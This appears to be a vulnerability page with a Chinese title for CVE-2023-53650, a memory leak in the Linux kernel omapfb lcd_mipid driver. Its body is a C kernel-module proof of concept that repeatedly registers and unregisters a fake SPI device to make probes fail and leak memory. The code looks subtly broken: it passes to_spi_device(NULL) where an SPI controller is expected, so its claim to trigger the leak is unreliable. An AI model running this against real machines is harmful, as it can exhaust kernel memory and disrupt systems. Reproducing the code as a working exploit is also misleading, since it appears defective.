CVE-2023-53650 Linux内核omapfb驱动mipid_spi_probe内存泄漏漏洞

/* CVE-2023-53650 - Linux Kernel omapfb lcd_mipid Memory Leak PoC * This PoC demonstrates the memory leak by repeatedly triggering * mipid_spi_probe() with a fake SPI device that causes mipid_detect() to fail. * * Note: This requires kernel module compilation and root privileges to load. */ #include <linux/module.h> #include <linux/spi/spi.h> #include <linux/kernel.h> #include <linux/init.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Research"); MODULE_DESCRIPTION("PoC for CVE-2023-53650 omapfb lcd_mipid memory leak"); /* Simulate SPI device that will cause mipid_detect() to fail */ static struct spi_device *fake_spi_device; static int __init leak_trigger_init(void) { int i; struct spi_board_info chip = { .modalias = "panel-mipid", .bus_num = 0, .chip_select = 0, .max_speed_hz = 1000000, }; printk(KERN_INFO "CVE-2023-53650 PoC: Triggering memory leak\n"); /* Repeatedly register/deregister SPI device to trigger probe failures */ for (i = 0; i < 1000; i++) { fake_spi_device = spi_new_device(to_spi_device(NULL), &chip); if (fake_spi_device) { spi_unregister_device(fake_spi_device); } /* Each failed probe leaks one mipid_device struct */ } printk(KERN_INFO "CVE-2023-53650 PoC: Memory leak triggered, check /proc/meminfo\n"); return 0; } static void __exit leak_trigger_exit(void) { printk(KERN_INFO "CVE-2023-53650 PoC: Module unloaded\n"); } module_init(leak_trigger_init); module_exit(leak_trigger_exit);